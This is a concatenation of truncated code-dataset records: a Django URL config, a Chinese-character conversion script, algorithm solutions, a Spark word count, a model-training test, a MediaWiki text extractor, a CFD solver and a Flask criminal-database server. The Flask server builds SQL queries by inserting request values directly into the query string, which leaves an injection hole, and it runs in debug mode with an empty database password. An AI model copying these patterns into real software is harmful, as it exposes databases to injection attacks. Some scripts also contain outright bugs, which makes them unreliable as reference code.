label(heat_thr)\r\n draw_img = draw_labeled_bboxes(np.copy(image), labels)\r\n\r\n return draw_img\r\n \r\n\r\n#%%\r\n\r\n","sub_path":"process_image.py","file_name":"process_image.py","file_ext":"py","file_size_in_byte":7873,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"636006121","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('', views.posts_list, name='posts_list'),\n path('post/', views.post_detail, name='post_detail'),\n path('post/new', views.post_new, name='post_new'),\n path('post//edit/', views.post_edit, name='post_edit'),\n path('post//answer/', views.add_answer, name=\"add_answer\")\n\n]\n","sub_path":"Homepage/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"434415344","text":"import re\nimport os\nimport pickle as pk\n\nhant_pattern = re.compile(r'public static \\$zh2Hant = \\[([^]]*)]', re.M)\npair_pattern = re.compile(r'\\'([^\\']+)\\' => \\'([^\\']+)\\'')\nhans_pattern = re.compile(r'public static \\$zh2Hans = \\[([^]]*)]', re.M)\npardir = os.path.abspath(__file__)\npardir = os.path.dirname(pardir)\n\ndef make_dict(data, pattern, file_path):\n with open(file_path, 'w', encoding='UTF-8') as fout:\n for p in pattern.findall(data):\n for pp in pair_pattern.findall(p):\n fout.write('%s\\t%s\\n' % pp)\n\ndef load_dict(file_path):\n conv = dict()\n conv['dict'] = dict()\n with open(file_path, 'r', encoding='UTF-8') as fin:\n for line in fin:\n line = line.strip().split('\\t')\n n = len(line[0])\n dd = conv['dict'].get(n, dict())\n dd[line[0]] = line[1]\n conv['dict'][n] = dd\n conv['length'] = sorted(list(conv['dict'].keys()), reverse=True)\n return conv\n\ndef abspath(path):\n global pardir\n return os.path.join(pardir, path)\n\ndef conv():\n with open(abspath('ZhConversion.php'), 'r', encoding='UTF-8') as fin:\n data = fin.read()\n make_dict(data, hant_pattern, abspath('zhhans2t.txt'))\n make_dict(data, hans_pattern, abspath('zhhant2s.txt'))\n\n zhhanz = dict()\n zhhanz['s2t'] = load_dict(abspath('zhhans2t.txt'))\n zhhanz['t2s'] = load_dict(abspath('zhhant2s.txt'))\n with open(abspath('zhhanz.pkl'), 'wb') as pkl:\n pk.dump(zhhanz, pkl)\n\n os.remove(abspath('zhhans2t.txt'))\n os.remove(abspath('zhhant2s.txt'))\n\nif __name__ == '__main__':\n conv()\n","sub_path":"php_conv.py","file_name":"php_conv.py","file_ext":"py","file_size_in_byte":1610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"571864780","text":"class Solution:\n def isInterleave(self, s1: str, s2: str, s3: str) -> bool:\n r, c, l = len(s1), len(s2), len(s3)\n\n if r + c != l:\n return False\n\n queue, visited = [(0, 0)], set((0, 0))\n\n while queue:\n x, y = queue.pop(0)\n\n if x + y == l:\n return True\n\n if x + 1 <= r and s1[x] == s3[x + y] and (x + 1, y) not in visited:\n queue.append((x + 1, y))\n visited.add((x + 1, y))\n\n if y + 1 <= c and s2[y] == s3[x + y] and (x, y + 1) not in visited:\n queue.append((x, y + 1))\n visited.add((x, y + 1))\n\n return False\n","sub_path":"Leetcode/97. Interleaving String.py","file_name":"97. Interleaving String.py","file_ext":"py","file_size_in_byte":676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"226847542","text":"from flask import Flask, jsonify, flash, redirect, render_template, request, session, abort\nimport os\nimport pymysql as MySQLdb\nimport json\nfrom datetime import datetime\nfrom waitress import serve\n\nimport pandas as pd\nimport numpy as np\nimport webbrowser\n\napp = Flask(__name__)\n\n@app.route('/')\ndef home():\n return render_template('criminal_list.html')\n\n@app.route('/crimdetails')\ndef crimdetails(): \n #post = request.form.to_dict()\n #crimid = str(post['crimid'])\n crimid=request.args.get('cid') \n session['crimid']=crimid\n #webbrowser.open_new_tab('/templates/CriminalDetails.html') \n to_send={'status': '0', 'error': 'null'}\n return render_template('CriminalDetailsUI1.html')\n\n@app.route('/crimdetailsfromlist', methods=[\"POST\", \"GET\"])\ndef crimdetailsfromlist(): \n post = request.get_json()\n crimid = str(post.get('crimid')) \n session['crimid']=crimid\n #webbrowser.open_new_tab('/templates/CriminalDetails.html') \n to_send={'status': '0', 'error': 'null'}\n webbrowser.open_new_tab('http://127.0.0.1:5000/crimdetails?cid='+crimid)\n return to_send\n\n@app.route('/getCriminalsList', methods=[\"POST\", \"GET\"])\ndef getCriminalsList():\n db = MySQLdb.connect(\"localhost\", \"root\", \"\", \"criminal\")\n cursor = db.cursor()\n cursor.execute(\"select `cam_id`,`criminal_id`,`date`,`time` from criminal_list order by date desc\")\n data = cursor.fetchall()\n to_send = []\n for row in data:\n camid=row[0]\n crimid=row[1]\n cursor.execute(\"select `place` from cam_details where cam_id=%d\"%(camid))\n camdata=cursor.fetchall()\n cursor.execute(\"select `cname` from criminals where cid='%s'\"%(crimid))\n crimdata=cursor.fetchall()\n date=row[-2]\n time=row[-1]\n s=time.seconds\n hours, remainder = divmod(s, 3600)\n minutes, seconds = divmod(remainder, 60)\n t='{:02}:{:02}:{:02}'.format(int(hours), int(minutes), int(seconds))\n date = date.strftime('20%y-%m-%d')\n to_send.append({'name':crimdata[0][0],'place':camdata[0][0],'date':date,'time':t,'cid':crimid}) \n return jsonify(result=to_send)\n\n@app.route('/getText', methods=[\"POST\", \"GET\"])\ndef getText():\n post = request.form.to_dict()\n to_send = {'status': '0', 'error': 'null'}\n letter = str(post['letter'])\n db = MySQLdb.connect(\"localhost\", \"root\", \"\", \"criminal\")\n cursor = db.cursor()\n cursor.execute(\"update crimLetter set `name`= '%s'\"%(letter))\n to_send[\"status\"] = \"1\"\n to_send[\"error\"] = \"Password Changed Successfully!\"\n return to_send\n\n@app.route('/getCriminalsDetails', methods=[\"POST\", \"GET\"])\ndef getCriminalsDetails():\n crimid=session['crimid']\n db = MySQLdb.connect(\"localhost\", \"root\", \"\", \"criminal\")\n cursor = db.cursor()\n cursor.execute(\"select `cname`,`caddress`,`cage`,`cphone` from criminals where cid='%s'\"%(crimid))\n data = cursor.fetchall()\n to_send = []\n for row in data:\n to_send.append({'cid':crimid,'cname':row[0],'caddress':row[1],'cage':row[2],'cphone':row[3]})\n cdet=[]\n cursor.execute(\"select `crime`,`place`,`date`,`time` from crime_history where cid='%s' order by date desc\"%(crimid))\n data = cursor.fetchall()\n for row in data:\n date = row[2]\n time=row[-1]\n s=time.seconds\n hours, remainder = divmod(s, 3600)\n minutes, seconds = divmod(remainder, 60)\n t='{:02}:{:02}:{:02}'.format(int(hours), int(minutes), int(seconds))\n date = date.strftime('20%y-%m-%d')\n cdet.append({'crime': row[0], 'place': row[1], 'date': date, 'time': t}) \n to_send[0]['cdetails']=cdet \n cursor.execute(\"select cam_id from criminal_list where criminal_id='%s' order by date desc,time desc\"%(crimid))\n data=cursor.fetchall()\n loc=[]\n for i in data:\n camid=i[0]\n cursor.execute(\"select place,latitude,longitude from cam_details where cam_id=%d\"%(camid))\n loc_data=cursor.fetchall()[0]\n loc.append({'place':loc_data[0],'latitude':loc_data[1],'longitude':loc_data[2]})\n to_send[0]['locations']=loc \n return jsonify(result=to_send)\n\n@app.route('/insertCrimList', methods=[\"POST\", \"GET\"])\ndef insertCrimList():\n db = MySQLdb.connect(\"localhost\", \"root\", \"\", \"criminal\")\n cursor = db.cursor()\n post = request.form.to_dict()\n crimid = str(post['crimid'])\n camid = str(post['cam_id'])\n stime = str(post['time'])\n sdate = str(post['date'])\n print(crimid,camid,stime,sdate)\n cursor.execute(\"insert into criminal_list (`date`, `time`, `cam_id`, `criminal_id`) values('%s','%s','%s','%s')\"%(sdate,stime,camid,crimid))\n #webbrowser.open_new_tab('http://127.0.0.1:5000/crimdetails?cid='+crimid)\n to_send = {'status': '1'}\n return jsonify(result=to_send)\n\nif __name__ == \"__main__\":\n app.secret_key = os.urandom(12)\n #serve(app, host='0.0.0.0', port=8080)\n app.run(threaded=True,debug=True)\n","sub_path":"WebServer.py","file_name":"WebServer.py","file_ext":"py","file_size_in_byte":4914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"448688763","text":"from collections import deque\nN=int(input())\nmaps=[[0]*N for _ in range(N)]\n\n# 사과가 있는 곳 1로 변경\nfor y,x in list(map(int, input().split())): maps[y-1][x-1]=1\n\n# 머리가 동,서,남,북 방향에 있을 때 전진하는 좌표와 D, L 방향의 y,x 이동 좌표\ndir={1:[(0,1),(-1,0),(1,0)], 2:[(0,-1),(-1,0),(1,0)], 3:[(1,0), (0,-1),(0,1)], 4:[(-1,0),(0,1),(0,-1)]} \nrotate=deque()\nfor t, d in range(int(input())):\n if d=='D': # 오른쪽으로 90도 회전\n rotate.append((t, 1))\n elif d=='L': # 왼쪽으로 90도 회전\n rotate.append((t, 2))\n\nhead=1 # 초기 뱀의 머리,꼬리는 오른쪽(동쪽) 방향에 있음\nmaps[0][0]=2; # 뱀이 있는 곳 2로 변경\ncury=0; curx=0\ntaily=0; tailx=0\nnexttaily=0; nexttailx=0\ntic=0\n\nwhile True:\n if rotate and tic==rotate[0][0]: \n nextd=rotate[0][1]; rotate.popleft()\n else: nextd=0\n nexty, nextx=cury+dir[head][nextd][0], curx+dir[head][nextd][1]\n \n if nexty==0 or nexty==N-1 or nextx==0 or nextx==N-1 or maps[nexty][nextx]==2:\n break\n \n if maps[nexty][nextx]==1:\n maps[nexty][nextx]=2\n else:\n maps[taily][tailx]=0\n \n tic+=1\n cury, curx=nexty, nextx\n\n \n\n","sub_path":"Algorithm/BOJ_3190_뱀.py","file_name":"BOJ_3190_뱀.py","file_ext":"py","file_size_in_byte":1209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"386349827","text":"import re\nfrom pyspark import SparkConf, SparkContext\n\ndef normalizeWords(text):\n return re.compile(r'\\w+',re.UNICODE).split(text.lower())\n\nconf = SparkConf().setMaster(\"local\").setAppName(\"wordCounts\")\n\nsc = SparkContext(conf = conf)\n\ninput = sc.textFile(\"book.txt\")\nwords = input.flatMap(normalizeWords)\nwordCount = words.map(lambda x:(x,1)).reduceByKey(lambda x, y : x+y)\nwordCountSorted= wordCount.map(lambda x:(x[1],x[0])).sortByKey()\nresults = wordCountSorted.collect()\n\nfor results in results:\n count = str(result[0])\n word = result[1].encode('ascii', 'ignore')\n\n if(word):\n print(word.decode() + \":\\t\\t\" +count)\n","sub_path":"sorted_word_count.py","file_name":"sorted_word_count.py","file_ext":"py","file_size_in_byte":640,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"408189374","text":"import unittest\nimport numpy as np\nimport pandas as pd\nfrom training.training import model_training\n\n\n# create dataframe for testing the preprocessing functions:\ndef mock_data(number_of_samples):\n integer_array = np.random.randint(2, size=(number_of_samples, 2))\n for categories_numbers in range(5, 50, 10):\n integer_array = np.append(\n integer_array, np.random.randint(categories_numbers, size=(number_of_samples, 2)), axis=1\n )\n integer_columns = [f\"int_col_{x}\" for x in range(integer_array.shape[1])]\n\n continuous_array = np.random.randn(number_of_samples, 10)\n continuous_columns = [f\"cont_col_{x}\" for x in range(continuous_array.shape[1])]\n\n integer_dataframe = pd.DataFrame(integer_array, columns=integer_columns)\n continuous_dataframe = pd.DataFrame(continuous_array, columns=continuous_columns)\n\n dataframe = pd.concat([integer_dataframe, continuous_dataframe], axis=1)\n target = (np.sum(continuous_array, axis=1) - 1) / (1 + np.sum(integer_array, axis=1))\n return dataframe, target\n\n\ntrain_dataframe, train_target = mock_data(1000)\nvalid_dataframe, valid_target = mock_data(100)\ntest_dataframe, test_target = mock_data(100)\n\nparameters_linear = {\n \"data\": {\n \"train\": {\"features\": train_dataframe, \"target\": train_target},\n \"valid\": {\"features\": valid_dataframe, \"target\": valid_target},\n \"test\": {\"features\": test_dataframe, \"target\": test_target},\n },\n \"split\": {\n \"method\": \"split\", # \"method\":\"kfold\"\n \"split_ratios\": 0.2, # foldnr:5 , \"split_ratios\": 0.8 # \"split_ratios\":(0.7,0.2)\n },\n \"model\": {\"type\": \"Ridge linear regression\",\n \"hyperparameters\": {\"alpha\": 1, # alpha:optimize\n },\n },\n \"metrics\": [\"r2_score\", \"mean_squared_error\"],\n \"predict\": {\n \"test\": {\"features\": test_dataframe}\n }\n}\n\nparameters_lightgbm = {\n \"data\": {\n \"train\": {\"features\": train_dataframe, \"target\": train_target},\n \"valid\": {\"features\": valid_dataframe, \"target\": valid_target},\n \"test\": {\"features\": test_dataframe, \"target\": test_target},\n },\n \"split\": {\n \"method\": \"split\", # \"method\":\"kfold\"\n \"split_ratios\": 0.2, # foldnr:5 , \"split_ratios\": 0.8 # \"split_ratios\":(0.7,0.2)\n },\n \"model\": {\"type\": \"lightgbm\",\n \"hyperparameters\": dict(objective='regression', metric='root_mean_squared_error', num_leaves=5,\n boost_from_average=True,\n learning_rate=0.05, bagging_fraction=0.99, feature_fraction=0.99, max_depth=-1,\n num_rounds=10000, min_data_in_leaf=10, boosting='dart')\n },\n \"metrics\": [\"r2_score\", \"mean_squared_error\"],\n \"predict\": {\n \"test\": {\"features\": test_dataframe}\n }\n}\n\n\nclass MyTestCase(unittest.TestCase):\n def test_something(self):\n model_lists, model_dir = model_training(parameters_linear)\n self.assertEqual(model_lists, [\"0\"])\n # self.assertEqual(model_dir, 0)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"training/test_training.py","file_name":"test_training.py","file_ext":"py","file_size_in_byte":3140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"6546072","text":"#!/usr/bin/env python2\n#\n# usage:\n# $ mwwiki2txt.py -n10 -t 'article%(pageid)05d.txt' jawiki.xml.bz2\n#\nimport re\nimport sys\nfrom gzip import GzipFile\nfrom bz2 import BZ2File\ntry:\n from cStringIO import StringIO\nexcept ImportError:\n from StringIO import StringIO\nfrom pymwp.mwtokenizer import WikiToken, XMLTagToken, XMLEmptyTagToken\nfrom pymwp.mwparser import WikiTextParser\nfrom pymwp.mwparser import WikiTree, WikiXMLTree, WikiArgTree\nfrom pymwp.mwparser import WikiSpecialTree, WikiCommentTree\nfrom pymwp.mwparser import WikiKeywordTree, WikiLinkTree\nfrom pymwp.mwparser import WikiSpanTree, WikiDivTree\nfrom pymwp.mwparser import WikiTableTree, WikiTableCellTree\nfrom pymwp.mwxmldump import MWXMLDumpFilter\nfrom pymwp.pycdb import CDBReader, CDBMaker\n\n\nSPC = re.compile(r'\\s+')\ndef rmsp(s): return SPC.sub(' ', s)\n\nIGNORED = re.compile(u'^([-a-z]+|Category|Special):')\ndef isignored(name): return IGNORED.match(name)\n\n\n## WikiTextExtractor\n##\nclass WikiTextExtractor(WikiTextParser):\n\n def __init__(self, errfp=sys.stderr, codec='utf-8'):\n WikiTextParser.__init__(self)\n self.errfp = errfp\n self.codec = codec\n return\n\n def error(self, s):\n self.errfp.write(s)\n return\n\n def invalid_token(self, pos, token):\n if self.errfp is not None:\n self.error('invalid token(%d): %r\\n' % (pos, token))\n return\n\n def convert(self, fp, tree=None):\n if tree is None:\n self.convert(fp, self.get_root())\n elif tree is WikiToken.PAR:\n fp.write('\\n')\n elif isinstance(tree, XMLEmptyTagToken):\n if tree.name in XMLTagToken.BR_TAG:\n fp.write('\\n')\n elif isinstance(tree, unicode):\n fp.write(rmsp(tree).encode(self.codec, 'ignore'))\n elif isinstance(tree, WikiSpecialTree):\n pass\n elif isinstance(tree, WikiCommentTree):\n pass\n elif isinstance(tree, WikiXMLTree):\n if tree.xml.name in XMLTagToken.NO_TEXT:\n pass\n else:\n for c in tree:\n self.convert(fp, c)\n if tree.xml.name in XMLTagToken.PAR_TAG:\n fp.write('\\n')\n elif isinstance(tree, WikiKeywordTree):\n if tree:\n if isinstance(tree[0], WikiTree):\n name = tree[0].get_text()\n else:\n name = tree[0]\n if isinstance(name, unicode) and not isignored(name):\n self.convert(fp, tree[-1])\n elif isinstance(tree, WikiLinkTree):\n if 2 <= len(tree):\n for c in tree[1:]:\n self.convert(fp, c)\n fp.write(' ')\n elif tree:\n self.convert(fp, tree[0])\n elif isinstance(tree, WikiTableCellTree):\n if tree:\n self.convert(fp, tree[-1])\n fp.write('\\n')\n elif isinstance(tree, WikiTableTree):\n for c in tree:\n if not isinstance(c, WikiArgTree):\n self.convert(fp, c)\n elif isinstance(tree, WikiDivTree):\n for c in tree:\n self.convert(fp, c)\n fp.write('\\n')\n elif isinstance(tree, WikiTree):\n for c in tree:\n self.convert(fp, c)\n return\n\n\n## WikiLinkExtractor\n##\nclass WikiLinkExtractor(WikiTextParser):\n\n def __init__(self, errfp=sys.stderr, codec='utf-8'):\n WikiTextParser.__init__(self)\n self.errfp = errfp\n self.codec = codec\n return\n\n def error(self, s):\n self.errfp.write(s)\n return\n\n def invalid_token(self, pos, token):\n if self.errfp is not None:\n self.error('invalid token(%d): %r\\n' % (pos, token))\n return\n\n def convert(self, fp, tree=None):\n if tree is None:\n self.convert(fp, self.get_root())\n elif isinstance(tree, WikiKeywordTree):\n if tree:\n if isinstance(tree[0], WikiTree):\n name = tree[0].get_text()\n else:\n name = tree[0]\n if isinstance(name, unicode):\n fp.write('keyword\\t'+name.encode(self.codec, 'ignore'))\n if 2 <= len(tree) and not isignored(name):\n text = tree[-1].get_text()\n fp.write('\\t'+text.encode(self.codec, 'ignore'))\n fp.write('\\n')\n elif isinstance(tree, WikiLinkTree):\n if tree:\n if isinstance(tree[0], WikiTree):\n url = tree[0].get_text()\n else:\n url = tree[0]\n if isinstance(url, unicode):\n fp.write('link\\t'+url.encode(self.codec, 'ignore'))\n if 2 <= len(tree):\n text = tree[-1].get_text()\n fp.write('\\t'+text.encode(self.codec, 'ignore'))\n fp.write('\\n')\n elif isinstance(tree, WikiTree):\n for c in tree:\n self.convert(fp, c)\n return\n\n\n## MWDump2Text\n##\nclass MWDump2Text(MWXMLDumpFilter):\n\n def __init__(self, factory,\n outfp=sys.stdout, codec='utf-8', titleline=True,\n titlepat=None, revisionlimit=1):\n MWXMLDumpSplitter.__init__(\n self,\n titlepat=titlepat, revisionlimit=revisionlimit)\n self.factory = factory\n self.codec = codec\n self.outfp = outfp\n self.titleline = titleline\n return\n\n def open_file(self, pageid, title, revision):\n print >>sys.stderr, (title,revision)\n if self.titleline:\n self.write(title+'\\n')\n self._textparser = self.factory(self.codec)\n return self.outfp\n \n def write_file(self, fp, text):\n self._textparser.feed_text(text)\n return\n \n def close_file(self, fp):\n self._textparser.close()\n self._textparser.convert(fp)\n self.write('\\f\\n')\n return\n\n\n## MWCDB2Text\n##\nclass MWCDB2Text(object):\n\n def __init__(self, srcpath, dstpath, factory):\n self.reader = CDBReader(srcpath)\n self.writer = CDBMaker(dstpath)\n self.factory = factory\n return\n\n def close(self):\n self.writer.finish()\n return\n\n def convert(self, pageid, revision=0):\n key = '%d/%d' % (pageid, revision)\n srcbuf = StringIO(self.reader[key])\n src = GzipFile(mode='r', fileobj=srcbuf)\n dstbuf = StringIO()\n dst = GzipFile(mode='w', fileobj=dstbuf)\n textparser = self.factory('utf-8')\n textparser.feed_text(src.read().decode('utf-8'))\n textparser.close()\n textparser.convert(dst)\n src.close()\n dst.close()\n self.writer.add(key, dstbuf.getvalue())\n key = '%d:title' % pageid\n self.writer.add(key, self.reader[key])\n return\n\n def convert_all(self):\n for key in self.reader:\n try:\n i = key.rindex('/')\n pageid = int(key[:i])\n revision = int(key[i+1:])\n except ValueError:\n continue\n print >>sys.stderr, (pageid,revision)\n self.convert(pageid, revision)\n return\n\n\n# main\ndef main(argv):\n import getopt\n def getfp(path, mode='r'):\n if path == '-' and mode == 'r':\n return sys.stdin\n elif path == '-' and mode == 'w':\n return sys.stdout\n elif path.endswith('.gz'):\n return GzipFile(path, mode=mode)\n elif path.endswith('.bz2'):\n return BZ2File(path, mode=mode)\n else:\n return open(path, mode=mode+'b')\n def usage():\n print ('usage: %s [-X xmldump] [-C cdbdump] [-o output] [-c codec] [-T] [-L] '\n '[-e titlepat] [-r revisionlimit] [file ...]') % argv[0]\n return 100\n try:\n (opts, args) = getopt.getopt(argv[1:], 'X:C:o:c:TLe:r:')\n except getopt.GetoptError:\n return usage()\n xmldump = None\n cdbdump = None\n output = None\n codec = 'utf-8'\n titlepat = None\n revisionlimit = 1\n titleline = False\n factory = (lambda codec: WikiTextExtractor(codec=codec))\n for (k, v) in opts:\n if k == '-X': xmldump = v\n elif k == '-C': cdbdump = v\n elif k == '-o': output = v\n elif k == '-c': codec = v \n elif k == '-T': titleline = True\n elif k == '-L': factory = (lambda codec: WikiLinkExtractor(codec=codec))\n elif k == '-e': titlepat = re.compile(v)\n elif k == '-r': revisionlimit = int(v)\n if xmldump is not None:\n outfp = getfp(output or '-', 'w')\n parser = MWDump2Text(\n factory, outfp=outfp,\n codec=codec, titleline=titleline,\n titlepat=titlepat, revisionlimit=revisionlimit)\n fp = getfp(xmldump)\n parser.feed_file(fp)\n fp.close()\n parser.close()\n elif cdbdump is not None:\n if not output: return usage()\n reader = MWCDB2Text(cdbdump, output, factory)\n if args:\n for pageid in args:\n reader.convert(int(pageid))\n else:\n try:\n reader.convert_all()\n finally:\n reader.close()\n else:\n outfp = getfp(output or '-', 'w')\n for path in (args or ['-']):\n print >>sys.stderr, path\n parser = factory(codec)\n fp = getfp(path)\n parser.feed_file(fp)\n fp.close()\n parser.close()\n parser.convert(outfp)\n return\n\nif __name__ == '__main__': sys.exit(main(sys.argv))\n","sub_path":"tools/mwwiki2txt.py","file_name":"mwwiki2txt.py","file_ext":"py","file_size_in_byte":9723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"130436556","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Jan 2 15:32:51 2019\r\n\r\n@author: Benjamin Ihme\r\n\"\"\"\r\n\r\n#a)\r\n\r\nimport numpy as np\r\nfrom math import sqrt\r\nimport os\r\nimport argparse\r\n\r\n#get paths\r\nparser=argparse.ArgumentParser(description=\"Driven-Cavity-Problem\")\r\nparser.add_argument('--input', type=str, required=True, help=\"Input file containing the parameters for the driven cavity problem\")\r\nparser.add_argument('--output', type=str, required=True, help=\"Base name for output files that result from driven cavity problem\")\r\nargs=parser.parse_args()\r\ninputname=args.input\r\noutputname=args.output\r\n\r\n#write all the functions from task a)\r\n\r\n\r\n#reads parameters from file (file has to be in the format from exercise sheet)\r\n#returns imax,jmax,xlength,ylength,delt,t_end,tau,del_vec,eps,omg,alpha,itermax,GX,GY,Re,UI,VI,PI\r\n#which are all integers of floats \r\n#UI,VI,PI are constants with which the matrices are filled\r\ndef read_parameters_from_file(filename):\r\n with open(filename, 'r') as myfile:\r\n imax=int(str(myfile.readline()).partition(\"=\")[2])\r\n jmax=int(str(myfile.readline()).partition(\"=\")[2])\r\n xlength=float(str(myfile.readline()).partition(\"=\")[2])\r\n ylength=float(str(myfile.readline()).partition(\"=\")[2])\r\n delt=float(str(myfile.readline()).partition(\"=\")[2])\r\n t_end=float(str(myfile.readline()).partition(\"=\")[2])\r\n tau=float(str(myfile.readline()).partition(\"=\")[2])\r\n del_vec=float(str(myfile.readline()).partition(\"=\")[2])\r\n eps=float(str(myfile.readline()).partition(\"=\")[2])\r\n omg=float(str(myfile.readline()).partition(\"=\")[2])\r\n alpha=float(str(myfile.readline()).partition(\"=\")[2])\r\n itermax=int(str(myfile.readline()).partition(\"=\")[2])\r\n GX=float(str(myfile.readline()).partition(\"=\")[2])\r\n GY=float(str(myfile.readline()).partition(\"=\")[2])\r\n Re=int(str(myfile.readline()).partition(\"=\")[2])\r\n UI=float(str(myfile.readline()).partition(\"=\")[2])\r\n VI=float(str(myfile.readline()).partition(\"=\")[2])\r\n PI=float(str(myfile.readline()).partition(\"=\")[2])\r\n return imax,jmax,xlength,ylength,delt,t_end,tau,del_vec,eps,omg,alpha,itermax,GX,GY,Re,UI,VI,PI\r\n\r\n\r\n#initializes U,V and P according to UI,VI,PI \r\ndef initialize_fields_UVP(imax,jmax, UI, VI, PI):\r\n U=np.zeros([imax+2,jmax+2],float)\r\n V=np.zeros([imax+2,jmax+2],float)\r\n P=np.zeros([imax+2,jmax+2],float)\r\n for i in range(1,imax+1):\r\n for j in range(1,jmax+1):\r\n U[i][j]=UI\r\n V[i][j]=VI\r\n P[i][j]=PI\r\n return U,V,P\r\n\r\n\r\n#applies boundary conditions (17, 18) to U and V\r\ndef apply_boundary_conditions_UV_2(imax, jmax, U, V):\r\n for j in range(1,jmax+1):\r\n U[0][j]=0\r\n U[imax][j]=0\r\n V[0][j]=-V[1][j]\r\n V[imax+1][j]=-V[imax][j]\r\n for i in range(1,imax+1):\r\n U[i][0]=-U[i][1]\r\n U[i][jmax+1]=-U[i][jmax]\r\n V[i][0]=0\r\n V[i][jmax]=0\r\n \r\n#applies boundary conditions V and to U according to task b)\r\ndef apply_boundary_conditions_UV(imax, jmax, U, V):\r\n for j in range(1,jmax+1):\r\n U[0][j]=0\r\n U[imax][j]=0\r\n V[0][j]=-V[1][j]\r\n V[imax+1][j]=-V[imax][j]\r\n for i in range(1,imax+1):\r\n U[i][0]=-U[i][1]\r\n U[i][jmax+1]=2-U[i][jmax]\r\n V[i][0]=0\r\n V[i][jmax]=0\r\n \r\ndef calculate_delx_dely(imax,jmax,xlength,ylength):\r\n return xlength/imax, ylength/jmax\r\n\r\ndef calculate_delt(tau,Re,delx,dely,U,V, delt):\r\n if(tau<0):\r\n return delt\r\n umax=float(max(np.amax(U), abs(np.amin(U))))\r\n vmax=float(max(np.amax(U), abs(np.amin(U))))\r\n if umax==0:\r\n if vmax==0:\r\n return tau*(Re/2.0)*(1.0/((1.0/(delx*delx))+(1.0/(dely*dely))))\r\n else:\r\n return tau*min((Re/2.0)*(1.0/((1.0/(delx*delx))+(1.0/(dely*dely)))), dely/vmax)\r\n else:\r\n if vmax==0:\r\n return tau*min((Re/2.0)*(1.0/((1.0/(delx*delx))+(1.0/(dely*dely)))), delx/umax)\r\n else:\r\n return tau*min((Re/2.0)*(1.0/((1.0/(delx*delx))+(1.0/(dely*dely)))), delx/umax, dely/vmax)\r\n\r\n#calculates F and G from U and V and applies boundary conditions\r\n#F and G have to exist already\r\n#has no return value\r\ndef calculate_F_G(imax, jmax, delt, delx, dely, alpha, GX, GY, U, V, F, G):\r\n #apply boundary conditions first\r\n for j in range(1, jmax+1):\r\n F[0][j]=U[0][j]\r\n F[imax][j]=U[imax][j]\r\n for i in range(1, imax):\r\n G[i][0]=V[i][0]\r\n G[i][jmax]=V[i][jmax]\r\n #now the rest\r\n for i in range(1,imax):\r\n for j in range(1, jmax+1):\r\n ddudxx=(U[i+1][j]-2*U[i][j]+U[i-1][j])/(delx*delx)\r\n ddudyy=(U[i][j+1]-2*U[i][j]+U[i][j-1])/(dely*dely)\r\n duudx=(1/delx)*((((U[i][j]+U[i+1][j])/2)**2)-(((U[i-1][j]+U[i][j])/2)**2))+alpha*(1/(4*delx))*((abs(U[i][j]+U[i+1][j])*(U[i][j]-U[i+1][j]))-(abs(U[i-1][j]+U[i][j])*(U[i-1][j]-U[i][j]))) \r\n duvdy=(1/(dely*4))*((V[i][j]+V[i+1][j])*(U[i][j]+U[i][j+1])-(V[i][j-1]+V[i+1][j-1])*(U[i][j-1]+U[i][j]))+alpha*(1/(dely*4))*((abs(V[i][j]+V[i+1][j])*(U[i][j]-U[i][j+1]))-(abs(V[i][j-1]+V[i+1][j-1])*(U[i][j-1]-U[i][j])))\r\n F[i][j]=U[i][j]+delt*(((1/Re)*(ddudxx+ddudyy))-duudx-duvdy+GX)\r\n for i in range(1, imax+1):\r\n for j in range(1, jmax):\r\n duvdx=(1/(delx*4))*((U[i][j]+U[i][j+1])*(V[i][j]+V[i+1][j])-(U[i-1][j]+U[i-1][j+1])*(V[i-1][j]+V[i][j]))+alpha*(1/(delx*4))*((abs(U[i][j]+U[i][j+1])*(V[i][j]-V[i+1][j]))-(abs(U[i-1][j]+U[i-1][j+1])*(V[i-1][j]-V[i][j])))\r\n dvvdy=(1/dely)*((((V[i][j]+V[i][j+1])/2)**2)-(((V[i][j-1]+V[i][j])/2)**2))+alpha*(1/(4*dely))*((abs(V[i][j]+V[i][j+1])*(V[i][j]-V[i][j+1]))-(abs(V[i][j-1]+V[i][j])*(V[i][j-1]-V[i][j])))\r\n ddvdxx=(V[i+1][j]-2*V[i][j]+V[i-1][j])/(delx*delx)\r\n ddvdyy=(V[i][j+1]-2*V[i][j]+V[i][j-1])/(dely*dely)\r\n G[i][j]=V[i][j]+delt*(((1/Re)*(ddvdxx+ddvdyy))-duvdx-dvvdy+GY)\r\n\r\n\r\n#cacluates the right hand side of formula (14)\r\n#RHS matrix has to exist already\r\n#has no return value\r\ndef calculate_RHS(imax, jmax, delt, delx, dely, F, G, RHS):\r\n for i in range(1, imax+1):\r\n for j in range(1, jmax+1):\r\n RHS[i][j]=(1/delt)*(((F[i][j]-F[i-1][j])/delx)+((G[i][j]-G[i][j-1])/dely))\r\n\r\n#applies boundary conditios (19) to P\r\ndef apply_boundary_conditions_Pressure(imax, jmax, P):\r\n for j in range(1, jmax+1):\r\n P[0][j]=P[1][j]\r\n P[imax+1][j]=P[imax][j]\r\n for i in range(1, imax+1):\r\n P[i][0]=P[i][1]\r\n P[i][jmax+1]=P[i][jmax]\r\n \r\ndef make_B_to_a_copy_of_A(imax, jmax, B, A):\r\n for i in range(0, imax+2):\r\n for j in range(0, jmax+2):\r\n B[i][j]=A[i][j]\r\n \r\n#calculates P using boundary conditions (19) and SOR 